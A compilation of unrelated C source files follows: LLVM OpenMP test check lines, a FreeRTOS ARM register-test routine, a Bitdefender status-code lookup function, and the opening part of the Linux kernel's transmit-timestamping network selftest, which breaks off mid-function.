// CHECK-32-NEXT: [[TMP0:%.*]] = call i32 @__kmpc_target_init(%struct.ident_t* @[[GLOB1]], i8 1, i1 true, i1 true)
// CHECK-32-NEXT: [[EXEC_USER_CODE:%.*]] = icmp eq i32 [[TMP0]], -1
// CHECK-32-NEXT: br i1 [[EXEC_USER_CODE]], label [[USER_CODE_ENTRY:%.*]], label [[WORKER_EXIT:%.*]]
// CHECK-32: user_code.entry:
// CHECK-32-NEXT: [[TMP1:%.*]] = load i32, i32* [[FOO_ADDR]], align 4
// CHECK-32-NEXT: [[TOBOOL:%.*]] = icmp ne i32 [[TMP1]], 0
// CHECK-32-NEXT: br i1 [[TOBOOL]], label [[IF_THEN:%.*]], label [[IF_END:%.*]]
// CHECK-32: if.then:
// CHECK-32-NEXT: [[TMP2:%.*]] = getelementptr inbounds [[PRINTF_ARGS_0]], %printf_args.0* [[TMP]], i32 0, i32 0
// CHECK-32-NEXT: store i32 42, i32* [[TMP2]], align 4
// CHECK-32-NEXT: [[TMP3:%.*]] = bitcast %printf_args.0* [[TMP]] to i8*
// CHECK-32-NEXT: [[TMP4:%.*]] = call i32 @__llvm_omp_vprintf(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str2, i32 0, i32 0), i8* [[TMP3]], i32 4)
// CHECK-32-NEXT: br label [[IF_END]]
// CHECK-32: worker.exit:
// CHECK-32-NEXT: ret void
// CHECK-32: if.end:
// CHECK-32-NEXT: call void @__kmpc_target_deinit(%struct.ident_t* @[[GLOB1]], i8 1, i1 true)
// CHECK-32-NEXT: ret void
//
|
the_stack_data/36075921.c | /*
* FreeRTOS Kernel V10.4.1
* Copyright (C) 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of
* this software and associated documentation files (the "Software"), to deal in
* the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
* the Software, and to permit persons to whom the Software is furnished to do so,
* subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
* http://www.FreeRTOS.org
* http://aws.amazon.com/freertos
*
* 1 tab == 4 spaces!
*/
/*
* "Reg test" tasks - These fill the registers with known values, then check
* that each register maintains its expected value for the lifetime of the
* task. Each task uses a different set of values. The reg test tasks execute
* with a very low priority, so get preempted very frequently. A register
* containing an unexpected value is indicative of an error in the context
* switching mechanism.
*/
void vRegTest1Implementation( void ) __attribute__ ((naked));
void vRegTest2Implementation( void ) __attribute__ ((naked));
void vRegTest1Implementation( void )
{
__asm volatile
(
".extern ulRegTest1LoopCounter \n"
"/* Fill the core registers with known values. */ \n"
"mov r0, #100 \n"
"mov r1, #101 \n"
"mov r2, #102 \n"
"mov r3, #103 \n"
"mov r4, #104 \n"
"mov r5, #105 \n"
"mov r6, #106 \n"
"mov r7, #107 \n"
"mov r8, #108 \n"
"mov r9, #109 \n"
"mov r10, #110 \n"
"mov r11, #111 \n"
"mov r12, #112 \n"
"/* Fill the VFP registers with known values. */ \n"
"vmov d0, r0, r1 \n"
"vmov d1, r2, r3 \n"
"vmov d2, r4, r5 \n"
"vmov d3, r6, r7 \n"
"vmov d4, r8, r9 \n"
"vmov d5, r10, r11 \n"
"vmov d6, r0, r1 \n"
"vmov d7, r2, r3 \n"
"vmov d8, r4, r5 \n"
"vmov d9, r6, r7 \n"
"vmov d10, r8, r9 \n"
"vmov d11, r10, r11 \n"
"vmov d12, r0, r1 \n"
"vmov d13, r2, r3 \n"
"vmov d14, r4, r5 \n"
"vmov d15, r6, r7 \n"
"reg1_loop: \n"
"/* Check all the VFP registers still contain the values set above. \n"
"First save registers that are clobbered by the test. */ \n"
"push { r0-r1 } \n"
"vmov r0, r1, d0 \n"
"cmp r0, #100 \n"
"bne reg1_error_loopf \n"
"cmp r1, #101 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d1 \n"
"cmp r0, #102 \n"
"bne reg1_error_loopf \n"
"cmp r1, #103 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d2 \n"
"cmp r0, #104 \n"
"bne reg1_error_loopf \n"
"cmp r1, #105 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d3 \n"
"cmp r0, #106 \n"
"bne reg1_error_loopf \n"
"cmp r1, #107 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d4 \n"
"cmp r0, #108 \n"
"bne reg1_error_loopf \n"
"cmp r1, #109 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d5 \n"
"cmp r0, #110 \n"
"bne reg1_error_loopf \n"
"cmp r1, #111 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d6 \n"
"cmp r0, #100 \n"
"bne reg1_error_loopf \n"
"cmp r1, #101 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d7 \n"
"cmp r0, #102 \n"
"bne reg1_error_loopf \n"
"cmp r1, #103 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d8 \n"
"cmp r0, #104 \n"
"bne reg1_error_loopf \n"
"cmp r1, #105 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d9 \n"
"cmp r0, #106 \n"
"bne reg1_error_loopf \n"
"cmp r1, #107 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d10 \n"
"cmp r0, #108 \n"
"bne reg1_error_loopf \n"
"cmp r1, #109 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d11 \n"
"cmp r0, #110 \n"
"bne reg1_error_loopf \n"
"cmp r1, #111 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d12 \n"
"cmp r0, #100 \n"
"bne reg1_error_loopf \n"
"cmp r1, #101 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d13 \n"
"cmp r0, #102 \n"
"bne reg1_error_loopf \n"
"cmp r1, #103 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d14 \n"
"cmp r0, #104 \n"
"bne reg1_error_loopf \n"
"cmp r1, #105 \n"
"bne reg1_error_loopf \n"
"vmov r0, r1, d15 \n"
"cmp r0, #106 \n"
"bne reg1_error_loopf \n"
"cmp r1, #107 \n"
"bne reg1_error_loopf \n"
"/* Restore the registers that were clobbered by the test. */ \n"
"pop {r0-r1} \n"
"/* VFP register test passed. Jump to the core register test. */ \n"
"b reg1_loopf_pass \n"
"reg1_error_loopf: \n"
"/* If this line is hit then a VFP register value was found to be incorrect. */ \n"
"b reg1_error_loopf \n"
"reg1_loopf_pass: \n"
"cmp r0, #100 \n"
"bne reg1_error_loop \n"
"cmp r1, #101 \n"
"bne reg1_error_loop \n"
"cmp r2, #102 \n"
"bne reg1_error_loop \n"
"cmp r3, #103 \n"
"bne reg1_error_loop \n"
"cmp r4, #104 \n"
"bne reg1_error_loop \n"
"cmp r5, #105 \n"
"bne reg1_error_loop \n"
"cmp r6, #106 \n"
"bne reg1_error_loop \n"
"cmp r7, #107 \n"
"bne reg1_error_loop \n"
"cmp r8, #108 \n"
"bne reg1_error_loop \n"
"cmp r9, #109 \n"
"bne reg1_error_loop \n"
"cmp r10, #110 \n"
"bne reg1_error_loop \n"
"cmp r11, #111 \n"
"bne reg1_error_loop \n"
"cmp r12, #112 \n"
"bne reg1_error_loop \n"
"/* Everything passed, increment the loop counter. */ \n"
"push { r0-r1 } \n"
"ldr r0, =ulRegTest1LoopCounter \n"
"ldr r1, [r0] \n"
"adds r1, r1, #1 \n"
"str r1, [r0] \n"
"pop { r0-r1 } \n"
"/* Start again. */ \n"
"b reg1_loop \n"
"reg1_error_loop: \n"
"/* If this line is hit then there was an error in a core register value. \n"
"The loop ensures the loop counter stops incrementing. */ \n"
"b reg1_error_loop \n"
"nop "
); /* __asm volatile. */
}
/*-----------------------------------------------------------*/
void vRegTest2Implementation( void )
{
__asm volatile
(
".extern ulRegTest2LoopCounter \n"
"/* Set all the core registers to known values. */ \n"
"mov r0, #-1 \n"
"mov r1, #1 \n"
"mov r2, #2 \n"
"mov r3, #3 \n"
"mov r4, #4 \n"
"mov r5, #5 \n"
"mov r6, #6 \n"
"mov r7, #7 \n"
"mov r8, #8 \n"
"mov r9, #9 \n"
"mov r10, #10 \n"
"mov r11, #11 \n"
"mov r12, #12 \n"
"/* Set all the VFP to known values. */ \n"
"vmov d0, r0, r1 \n"
"vmov d1, r2, r3 \n"
"vmov d2, r4, r5 \n"
"vmov d3, r6, r7 \n"
"vmov d4, r8, r9 \n"
"vmov d5, r10, r11 \n"
"vmov d6, r0, r1 \n"
"vmov d7, r2, r3 \n"
"vmov d8, r4, r5 \n"
"vmov d9, r6, r7 \n"
"vmov d10, r8, r9 \n"
"vmov d11, r10, r11 \n"
"vmov d12, r0, r1 \n"
"vmov d13, r2, r3 \n"
"vmov d14, r4, r5 \n"
"vmov d15, r6, r7 \n"
"reg2_loop: \n"
"/* Check all the VFP registers still contain the values set above. \n"
"First save registers that are clobbered by the test. */ \n"
"push { r0-r1 } \n"
"vmov r0, r1, d0 \n"
"cmp r0, #-1 \n"
"bne reg2_error_loopf \n"
"cmp r1, #1 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d1 \n"
"cmp r0, #2 \n"
"bne reg2_error_loopf \n"
"cmp r1, #3 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d2 \n"
"cmp r0, #4 \n"
"bne reg2_error_loopf \n"
"cmp r1, #5 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d3 \n"
"cmp r0, #6 \n"
"bne reg2_error_loopf \n"
"cmp r1, #7 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d4 \n"
"cmp r0, #8 \n"
"bne reg2_error_loopf \n"
"cmp r1, #9 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d5 \n"
"cmp r0, #10 \n"
"bne reg2_error_loopf \n"
"cmp r1, #11 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d6 \n"
"cmp r0, #-1 \n"
"bne reg2_error_loopf \n"
"cmp r1, #1 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d7 \n"
"cmp r0, #2 \n"
"bne reg2_error_loopf \n"
"cmp r1, #3 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d8 \n"
"cmp r0, #4 \n"
"bne reg2_error_loopf \n"
"cmp r1, #5 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d9 \n"
"cmp r0, #6 \n"
"bne reg2_error_loopf \n"
"cmp r1, #7 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d10 \n"
"cmp r0, #8 \n"
"bne reg2_error_loopf \n"
"cmp r1, #9 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d11 \n"
"cmp r0, #10 \n"
"bne reg2_error_loopf \n"
"cmp r1, #11 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d12 \n"
"cmp r0, #-1 \n"
"bne reg2_error_loopf \n"
"cmp r1, #1 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d13 \n"
"cmp r0, #2 \n"
"bne reg2_error_loopf \n"
"cmp r1, #3 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d14 \n"
"cmp r0, #4 \n"
"bne reg2_error_loopf \n"
"cmp r1, #5 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d15 \n"
"cmp r0, #6 \n"
"bne reg2_error_loopf \n"
"cmp r1, #7 \n"
"bne reg2_error_loopf \n"
"/* Restore the registers that were clobbered by the test. */ \n"
"pop {r0-r1} \n"
"/* VFP register test passed. Jump to the core register test. */ \n"
"b reg2_loopf_pass \n"
"reg2_error_loopf: \n"
"/* If this line is hit then a VFP register value was found to be \n"
"incorrect. */ \n"
"b reg2_error_loopf \n"
"reg2_loopf_pass: \n"
"cmp r0, #-1 \n"
"bne reg2_error_loop \n"
"cmp r1, #1 \n"
"bne reg2_error_loop \n"
"cmp r2, #2 \n"
"bne reg2_error_loop \n"
"cmp r3, #3 \n"
"bne reg2_error_loop \n"
"cmp r4, #4 \n"
"bne reg2_error_loop \n"
"cmp r5, #5 \n"
"bne reg2_error_loop \n"
"cmp r6, #6 \n"
"bne reg2_error_loop \n"
"cmp r7, #7 \n"
"bne reg2_error_loop \n"
"cmp r8, #8 \n"
"bne reg2_error_loop \n"
"cmp r9, #9 \n"
"bne reg2_error_loop \n"
"cmp r10, #10 \n"
"bne reg2_error_loop \n"
"cmp r11, #11 \n"
"bne reg2_error_loop \n"
"cmp r12, #12 \n"
"bne reg2_error_loop \n"
"/* Increment the loop counter to indicate this test is still functioning \n"
"correctly. */ \n"
"push { r0-r1 } \n"
"ldr r0, =ulRegTest2LoopCounter \n"
"ldr r1, [r0] \n"
"adds r1, r1, #1 \n"
"str r1, [r0] \n"
"/* Yield to increase test coverage. */ \n"
"movs r0, #0x01 \n"
"ldr r1, =0xe000ed04 /*NVIC_INT_CTRL */ \n"
"lsl r0, r0, #28 /* Shift to PendSV bit */ \n"
"str r0, [r1] \n"
"dsb \n"
"pop { r0-r1 } \n"
"/* Start again. */ \n"
"b reg2_loop \n"
"reg2_error_loop: \n"
"/* If this line is hit then there was an error in a core register value. \n"
"This loop ensures the loop counter variable stops incrementing. */ \n"
"b reg2_error_loop \n"
); /* __asm volatile */
}
/*-----------------------------------------------------------*/
|
the_stack_data/18888218.c | /*
* Copyright (c) 2020 Bitdefender
* SPDX-License-Identifier: Apache-2.0
*/
char* CxStatusToString (int Status, int ReturnNullIfUnknown)
{
if (Status == 0x00000000) return "CX_STATUS_SUCCESS";
if (Status == 0x61000000) return "CX_STATUS_NOT_NEEDED_HINT";
if (Status == 0x61000001) return "CX_STATUS_NOT_INITIALIZED_HINT";
if (Status == 0x61000002) return "CX_STATUS_ALREADY_INITIALIZED_HINT";
if (Status == 0x61000003) return "CX_STATUS_REINITIALIZED_HINT";
if (Status == 0x61000004) return "CX_STATUS_FOUND";
if (Status == 0xE1000000) return "CX_STATUS_INVALID_PARAMETER";
if (Status == 0xE1000001) return "CX_STATUS_INVALID_PARAMETER_1";
if (Status == 0xE1000002) return "CX_STATUS_INVALID_PARAMETER_2";
if (Status == 0xE1000003) return "CX_STATUS_INVALID_PARAMETER_3";
if (Status == 0xE1000004) return "CX_STATUS_INVALID_PARAMETER_4";
if (Status == 0xE1000005) return "CX_STATUS_INVALID_PARAMETER_5";
if (Status == 0xE1000006) return "CX_STATUS_INVALID_PARAMETER_6";
if (Status == 0xE1000007) return "CX_STATUS_INVALID_PARAMETER_7";
if (Status == 0xE1000008) return "CX_STATUS_INVALID_PARAMETER_8";
if (Status == 0xE1000009) return "CX_STATUS_INVALID_PARAMETER_9";
if (Status == 0xE100000A) return "CX_STATUS_INVALID_PARAMETER_10";
if (Status == 0xE100000B) return "CX_STATUS_INVALID_PARAMETER_11";
if (Status == 0xE100000C) return "CX_STATUS_INVALID_PARAMETER_12";
if (Status == 0xE100000D) return "CX_STATUS_INVALID_PARAMETER_MIX";
if (Status == 0xE1000100) return "CX_STATUS_COMPONENT_NOT_INITIALIZED";
if (Status == 0xE1000101) return "CX_STATUS_COMPONENT_ALREADY_INITIALIZED";
if (Status == 0xE1000102) return "CX_STATUS_COMPONENT_NOT_READY";
if (Status == 0xE1000103) return "CX_STATUS_COMPONENT_NOT_FOUND";
if (Status == 0xE1000104) return "CX_STATUS_COMPONENT_LIFECYCLE_ENDED";
if (Status == 0xE1000105) return "CX_STATUS_INVALID_COMPONENT_STATE";
if (Status == 0xE1000106) return "CX_STATUS_OPERATION_NOT_SUPPORTED";
if (Status == 0xE1000107) return "CX_STATUS_OPERATION_NOT_IMPLEMENTED";
if (Status == 0xE1000108) return "CX_STATUS_INVALID_OPERATION_STATE";
if (Status == 0xE1000109) return "CX_STATUS_COMPONENT_BUSY";
if (Status == 0xE1000200) return "CX_STATUS_INVALID_DATA_VALUE";
if (Status == 0xE1000201) return "CX_STATUS_INVALID_DATA_TYPE";
if (Status == 0xE1000202) return "CX_STATUS_INVALID_DATA_SIZE";
if (Status == 0xE1000203) return "CX_STATUS_INCONSISTENT_DATA_VALUE";
if (Status == 0xE1000204) return "CX_STATUS_INCONSISTENT_DATA_SIZE";
if (Status == 0xE1000205) return "CX_STATUS_CORRUPTED_DATA";
if (Status == 0xE1000206) return "CX_STATUS_DATA_NOT_INITIALIZED";
if (Status == 0xE1000207) return "CX_STATUS_DATA_IN_USE";
if (Status == 0xE1000208) return "CX_STATUS_DATA_ALREADY_EXISTS";
if (Status == 0xE1000209) return "CX_STATUS_DATA_ALREADY_INITIALIZED";
if (Status == 0xE100020A) return "CX_STATUS_DATA_ALREADY_FREE";
if (Status == 0xE100020B) return "CX_STATUS_DATA_NOT_FOUND";
if (Status == 0xE100020C) return "CX_STATUS_DATA_NOT_READY";
if (Status == 0xE100020D) return "CX_STATUS_DATA_LIFECYCLE_ENDED";
if (Status == 0xE100020E) return "CX_STATUS_INVALID_DATA_STATE";
if (Status == 0xE100020F) return "CX_STATUS_DATA_DOMAIN_OVERFLOW";
if (Status == 0xE1000210) return "CX_STATUS_ALIGNMENT_INCONSISTENCY";
if (Status == 0xE1000211) return "CX_STATUS_DATA_BUFFER_TOO_SMALL";
if (Status == 0xE1000212) return "CX_STATUS_BUFFER_UNDERFLOW";
if (Status == 0xE1000213) return "CX_STATUS_BUFFER_OVERFLOW";
if (Status == 0xE1000214) return "CX_STATUS_OUT_OF_RESOURCES";
if (Status == 0xE1000215) return "CX_STATUS_OUT_OF_MEMORY";
if (Status == 0xE1000216) return "CX_STATUS_INDEX_OUT_OF_RANGE";
if (Status == 0xE1000217) return "CX_STATUS_NO_MORE_ENTRIES";
if (Status == 0xE1000218) return "CX_STATUS_ARITHMETIC_UNDERFLOW";
if (Status == 0xE1000219) return "CX_STATUS_ARITHMETIC_OVERFLOW";
if (Status == 0xE100021A) return "CX_STATUS_UNSUPPORTED_DATA_VALUE";
if (Status == 0xE100021B) return "CX_STATUS_UNSUPPORTED_DATA_TYPE";
if (Status == 0xE100021C) return "CX_STATUS_UNSUPPORTED_DATA_SIZE";
if (Status == 0xE100021D) return "CX_STATUS_DATA_OUT_OF_RANGE";
if (Status == 0xE100021E) return "CX_STATUS_KEY_ALREADY_EXISTS";
if (Status == 0xE100021F) return "CX_STATUS_KEY_NOT_FOUND";
if (Status == 0xE1000300) return "CX_STATUS_BAD_DEVICE_TYPE";
if (Status == 0xE1000301) return "CX_STATUS_DEVICE_DATA_ERROR";
if (Status == 0xE1000302) return "CX_STATUS_DEVICE_IO_ERROR";
if (Status == 0xE1000303) return "CX_STATUS_DEVICE_NOT_INITIALIZED";
if (Status == 0xE1000304) return "CX_STATUS_DEVICE_NOT_READY";
if (Status == 0xE1000305) return "CX_STATUS_DEVICE_NOT_RESPONDING";
if (Status == 0xE1000306) return "CX_STATUS_DEVICE_POWER_FAILURE";
if (Status == 0xE1000307) return "CX_STATUS_DEVICE_NOT_FOUND";
if (Status == 0xE1000308) return "CX_STATUS_INVALID_DEVICE_ID";
if (Status == 0xE1000309) return "CX_STATUS_INVALID_DEVICE_TYPE";
if (Status == 0xE100030A) return "CX_STATUS_INVALID_DEVICE_REQUEST";
if (Status == 0xE100030B) return "CX_STATUS_INVALID_DEVICE_STATE";
if (Status == 0xE100030C) return "CX_STATUS_DEVICE_CONFIGURATION_ERROR";
if (Status == 0xE100030D) return "CX_STATUS_DEVICE_BUSY";
if (Status == 0xE1000401) return "CX_STATUS_ABORTED_ON_TIMEOUT";
if (Status == 0xE1000402) return "CX_STATUS_ABORTED_ON_CRITICAL_FAULT";
if (Status == 0xE1000403) return "CX_STATUS_DATA_ALTERED_FROM_OUSIDE";
if (Status == 0xE1000404) return "CX_STATUS_SYNCHRONIZATION_INCONSISTENCY";
if (Status == 0xE1000500) return "CX_STATUS_ALREADY_INITIALIZED";
if (Status == 0xE1000501) return "CX_STATUS_NOT_INITIALIZED";
if (Status == 0xE1000502) return "CX_STATUS_UNEXPECTED_RACE_CONDITION";
if (Status == 0xE1000503) return "CX_STATUS_INVALID_INTERNAL_STATE";
if (Status == 0xE1000504) return "CX_STATUS_OUT_OF_RANGE";
if (Status == 0xE1000505) return "CX_STATUS_UNINITIALIZED_STATUS_VALUE";
if (Status == 0xE1000506) return "CX_STATUS_INSUFFICIENT_RESOURCES";
if (Status == 0xE1000507) return "CX_STATUS_NOT_FOUND";
if (Status == 0xE1000508) return "CX_STATUS_NOT_SUPPORTED";
if (Status == 0xE1000509) return "CX_STATUS_ACCESS_DENIED";
if (Status == 0xE100050A) return "CX_STATUS_UNEXPECTED_IO_ERROR";
if (Status == 0xE100050B) return "CX_STATUS_ACCESS_VIOLATION";
if (Status == 0xE100050C) return "CX_STATUS_ABANDONED";
if (Status == 0xE100050D) return "CX_STATUS_OBJECT_TYPE_MISMATCH";
if (Status == 0xE100050E) return "CX_STATUS_INVALID_HANDLE";
if (Status == 0xE100050F) return "CX_STATUS_NOT_READY";
if (Status == 0xE1000510) return "CX_STATUS_BUSY";
return ReturnNullIfUnknown? ((char *)0) : "_UNKNOWN_STATUS_";
} |
the_stack_data/206393699.c | // SPDX-License-Identifier: GPL-2.0-only
/*
* Copyright 2014 Google Inc.
* Author: [email protected] (Willem de Bruijn)
*
* Test software tx timestamping, including
*
* - SCHED, SND and ACK timestamps
* - RAW, UDP and TCP
* - IPv4 and IPv6
* - various packet sizes (to test GSO and TSO)
*
* Consult the command line arguments for help on running
* the various testcases.
*
* This test requires a dummy TCP server.
* A simple `nc6 [-u] -l -p $DESTPORT` will do
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <asm/types.h>
#include <error.h>
#include <errno.h>
#include <inttypes.h>
#include <linux/errqueue.h>
#include <linux/if_ether.h>
#include <linux/ipv6.h>
#include <linux/net_tstamp.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/tcp.h>
#include <netpacket/packet.h>
#include <poll.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
/* command line parameters */
static int cfg_proto = SOCK_STREAM;
static int cfg_ipproto = IPPROTO_TCP;
static int cfg_num_pkts = 4;
static int do_ipv4 = 1;
static int do_ipv6 = 1;
static int cfg_payload_len = 10;
static int cfg_poll_timeout = 100;
static int cfg_delay_snd;
static int cfg_delay_ack;
static bool cfg_show_payload;
static bool cfg_do_pktinfo;
static bool cfg_loop_nodata;
static bool cfg_no_delay;
static bool cfg_use_cmsg;
static bool cfg_use_pf_packet;
static bool cfg_do_listen;
static uint16_t dest_port = 9000;
static struct sockaddr_in daddr;
static struct sockaddr_in6 daddr6;
static struct timespec ts_usr;
static int saved_tskey = -1;
static int saved_tskey_type = -1;
static bool test_failed;
static int64_t timespec_to_us64(struct timespec *ts)
{
return ts->tv_sec * 1000 * 1000 + ts->tv_nsec / 1000;
}
static void validate_key(int tskey, int tstype)
{
int stepsize;
/* compare key for each subsequent request
* must only test for one type, the first one requested
*/
if (saved_tskey == -1)
saved_tskey_type = tstype;
else if (saved_tskey_type != tstype)
return;
stepsize = cfg_proto == SOCK_STREAM ? cfg_payload_len : 1;
if (tskey != saved_tskey + stepsize) {
fprintf(stderr, "ERROR: key %d, expected %d\n",
tskey, saved_tskey + stepsize);
test_failed = true;
}
saved_tskey = tskey;
}
static void validate_timestamp(struct timespec *cur, int min_delay)
{
int max_delay = min_delay + 500 /* processing time upper bound */;
int64_t cur64, start64;
cur64 = timespec_to_us64(cur);
start64 = timespec_to_us64(&ts_usr);
if (cur64 < start64 + min_delay || cur64 > start64 + max_delay) {
fprintf(stderr, "ERROR: delay %lu expected between %d and %d\n",
cur64 - start64, min_delay, max_delay);
test_failed = true;
}
}
static void __print_timestamp(const char *name, struct timespec *cur,
uint32_t key, int payload_len)
{
if (!(cur->tv_sec | cur->tv_nsec))
return;
fprintf(stderr, " %s: %lu s %lu us (seq=%u, len=%u)",
name, cur->tv_sec, cur->tv_nsec / 1000,
key, payload_len);
if (cur != &ts_usr)
fprintf(stderr, " (USR %+" PRId64 " us)",
timespec_to_us64(cur) - timespec_to_us64(&ts_usr));
fprintf(stderr, "\n");
}
static void print_timestamp_usr(void)
{
if (clock_gettime(CLOCK_REALTIME, &ts_usr))
error(1, errno, "clock_gettime");
__print_timestamp(" USR", &ts_usr, 0, 0);
}
static void print_timestamp(struct scm_timestamping *tss, int tstype,
int tskey, int payload_len)
{
const char *tsname;
validate_key(tskey, tstype);
switch (tstype) {
case SCM_TSTAMP_SCHED:
tsname = " ENQ";
validate_timestamp(&tss->ts[0], 0);
break;
case SCM_TSTAMP_SND:
tsname = " SND";
validate_timestamp(&tss->ts[0], cfg_delay_snd);
break;
case SCM_TSTAMP_ACK:
tsname = " ACK";
validate_timestamp(&tss->ts[0], cfg_delay_ack);
break;
default:
error(1, 0, "unknown timestamp type: %u",
tstype);
}
__print_timestamp(tsname, &tss->ts[0], tskey, payload_len);
}
/* TODO: convert to check_and_print payload once API is stable */
static void print_payload(char *data, int len)
{
int i;
if (!len)
return;
if (len > 70)
len = 70;
fprintf(stderr, "payload: ");
for (i = 0; i < len; i++)
fprintf(stderr, "%02hhx ", data[i]);
fprintf(stderr, "\n");
}
static void print_pktinfo(int family, int ifindex, void *saddr, void *daddr)
{
char sa[INET6_ADDRSTRLEN], da[INET6_ADDRSTRLEN];
fprintf(stderr, " pktinfo: ifindex=%u src=%s dst=%s\n",
ifindex,
saddr ? inet_ntop(family, saddr, sa, sizeof(sa)) : "unknown",
daddr ? inet_ntop(family, daddr, da, sizeof(da)) : "unknown");
}
static void __poll(int fd)
{
struct pollfd pollfd;
int ret;
memset(&pollfd, 0, sizeof(pollfd));
pollfd.fd = fd;
ret = poll(&pollfd, 1, cfg_poll_timeout);
if (ret != 1)
error(1, errno, "poll");
}
static void __recv_errmsg_cmsg(struct msghdr *msg, int payload_len)
{
struct sock_extended_err *serr = NULL;
struct scm_timestamping *tss = NULL;
struct cmsghdr *cm;
int batch = 0;
for (cm = CMSG_FIRSTHDR(msg);
cm && cm->cmsg_len;
cm = CMSG_NXTHDR(msg, cm)) {
if (cm->cmsg_level == SOL_SOCKET &&
cm->cmsg_type == SCM_TIMESTAMPING) {
tss = (void *) CMSG_DATA(cm);
} else if ((cm->cmsg_level == SOL_IP &&
cm->cmsg_type == IP_RECVERR) ||
(cm->cmsg_level == SOL_IPV6 &&
cm->cmsg_type == IPV6_RECVERR) ||
(cm->cmsg_level == SOL_PACKET &&
cm->cmsg_type == PACKET_TX_TIMESTAMP)) {
serr = (void *) CMSG_DATA(cm);
if (serr->ee_errno != ENOMSG ||
serr->ee_origin != SO_EE_ORIGIN_TIMESTAMPING) {
fprintf(stderr, "unknown ip error %d %d\n",
serr->ee_errno,
serr->ee_origin);
serr = NULL;
}
} else if (cm->cmsg_level == SOL_IP &&
cm->cmsg_type == IP_PKTINFO) {
struct in_pktinfo *info = (void *) CMSG_DATA(cm);
print_pktinfo(AF_INET, info->ipi_ifindex,
&info->ipi_spec_dst, &info->ipi_addr);
} else if (cm->cmsg_level == SOL_IPV6 &&
cm->cmsg_type == IPV6_PKTINFO) {
struct in6_pktinfo *info6 = (void *) CMSG_DATA(cm);
print_pktinfo(AF_INET6, info6->ipi6_ifindex,
NULL, &info6->ipi6_addr);
} else
fprintf(stderr, "unknown cmsg %d,%d\n",
cm->cmsg_level, cm->cmsg_type);
if (serr && tss) {
print_timestamp(tss, serr->ee_info, serr->ee_data,
payload_len);
serr = NULL;
tss = NULL;
batch++;
}
}
if (batch > 1)
fprintf(stderr, "batched %d timestamps\n", batch);
}
static int recv_errmsg(int fd)
{
static char ctrl[1024 /* overprovision*/];
static struct msghdr msg;
struct iovec entry;
static char *data;
int ret = 0;
data = malloc(cfg_payload_len);
if (!data)
error(1, 0, "malloc");
memset(&msg, 0, sizeof(msg));
memset(&entry, 0, sizeof(entry));
memset(ctrl, 0, sizeof(ctrl));
entry.iov_base = data;
entry.iov_len = cfg_payload_len;
msg.msg_iov = &entry;
msg.msg_iovlen = 1;
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_control = ctrl;
msg.msg_controllen = sizeof(ctrl);
ret = recvmsg(fd, &msg, MSG_ERRQUEUE);
if (ret == -1 && errno != EAGAIN)
error(1, errno, "recvmsg");
if (ret >= 0) {
__recv_errmsg_cmsg(&msg, ret);
if (cfg_show_payload)
print_payload(data, cfg_payload_len);
}
free(data);
return ret == -1;
}
static uint16_t get_ip_csum(const uint16_t *start, int num_words,
unsigned long sum)
{
int i;
for (i = 0; i < num_words; i++)
sum += start[i];
while (sum >> 16)
sum = (sum & 0xFFFF) + (sum >> 16);
return ~sum;
}
static uint16_t get_udp_csum(const struct udphdr *udph, int alen)
{
unsigned long pseudo_sum, csum_len;
const void *csum_start = udph;
pseudo_sum = htons(IPPROTO_UDP);
pseudo_sum += udph->len;
/* checksum ip(v6) addresses + udp header + payload */
csum_start -= alen * 2;
csum_len = ntohs(udph->len) + alen * 2;
